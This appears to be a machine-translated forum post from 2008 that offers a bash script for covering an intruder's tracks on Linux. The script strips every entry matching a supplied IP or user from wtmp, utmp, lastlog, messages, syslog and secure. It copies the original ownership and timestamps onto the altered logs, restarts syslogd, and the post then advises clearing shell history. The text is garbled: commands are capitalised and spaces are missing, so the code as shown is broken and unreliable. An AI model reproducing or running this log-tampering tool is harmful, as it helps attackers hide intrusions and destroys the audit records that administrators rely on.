Linux diary clearing script

#! /Bin/bashecholinuxclearlogecho & nbsp; the byknlve2008-08-29echo # & nbsp; chmod777log #. /lo

#! /Bin/bash
Echo "linux clear log"
Echo "by knlve 2008-08-29"
Echo "=================================="
# Chmod 777 log
#./Log xx. xx And./log root

If [-f "/var/log/wtmp"]; then
Cat/var/log/wtmp | grep-v $1>/var/log/temp1;
Chgrp -- reference/var/log/wtmp/var/log/temp1;
Chown -- reference/var/log/wtmp/var/log/temp1;
Touch-r/var/log/wtmp/var/log/temp1;
Mv-f/var/log/temp1/var/log/wtmp;
Fi
If [-f "/var/log/lastlog"]; then
Cat/var/log/lastlog | grep-v $1>/var/log/temp2;
Chgrp -- reference/var/log/lastlog/var/log/temp2;
Chown -- reference/var/log/lastlog/var/log/temp2;
Touch-r/var/log/lastlog/var/log/temp2;
Mv-f/var/log/temp2/var/log/lastlog;
Fi
If [-f "/var/log/messages"]; then
Cat/var/log/messages | grep-v $1>/var/log/temp3;
Chgrp -- reference/var/log/messages/var/log/temp3;
Chown -- reference/var/log/messages/var/log/temp3;
Touch-r/var/log/messages/var/log/temp3;
Mv-f/var/log/temp3/var/log/messages;
Fi
If [-f "/var/log/utmp"]; then
Cat/var/log/utmp | grep-v $1>/var/log/temp4;
Chgrp -- reference/var/log/utmp/var/log/temp4;
Chown -- reference/var/log/utmp/var/log/temp4;
Touch-r/var/log/utmp/var/log/temp4;
Mv-f/var/log/temp4/var/log/utmp;
Fi
If [-f "/var/log/wtmpx"]; then
Cat/var/log/wtmpx | grep-v $1>/var/log/temp5;
Chgrp -- reference/var/log/wtmpx/var/log/temp5;
Chown -- reference/var/log/wtmpx/var/log/temp5;
Touch-r/var/log/wtmpx/var/log/temp5;
Mv-f/var/log/temp5/var/log/wtmpx;
Fi if [-f "/var/log/utmpx"]; then
Cat/var/log/utmpx | grep-v $1>/var/log/temp6;
Chgrp -- reference/var/log/utmpx/var/log/temp6;
Chown -- reference/var/log/utmpx/var/log/temp6;
Touch-r/var/log/utmpx/var/log/temp6;
Mv-f/var/log/temp6/var/log/utmpx;
Fi
If [-f "/var/log/syslog"]; then
Cat/var/log/syslog | grep-v $1>/var/log/temp7;
Chgrp -- reference/var/log/syslog/var/log/temp7;
Chown -- reference/var/log/syslog/var/log/temp7;
Touch-r/var/log/syslog/var/log/temp7;
Mv-f/var/log/temp7/var/log/syslog;
Fi
If [-f "/var/log/secure"]; then
Cat/var/log/secure | grep-v $1>/var/log/temp8;
Chgrp -- reference/var/log/secure/var/log/temp8;
Chown -- reference/var/log/secure/var/log/temp8;
Touch-r/var/log/secure/var/log/temp8;
Mv-f/var/log/temp8/var/log/secure;
Fi
/Usr/bin/killall-HUP syslogd;
Echo "Clear log is success!
# Rm-fr log

============================================

For some reason, it is clear in the script that the history is always not perfect. After the script is executed,
Execute clear history manually:
History-w
History-c

Script usage chmod 777 log &./log ip or./log root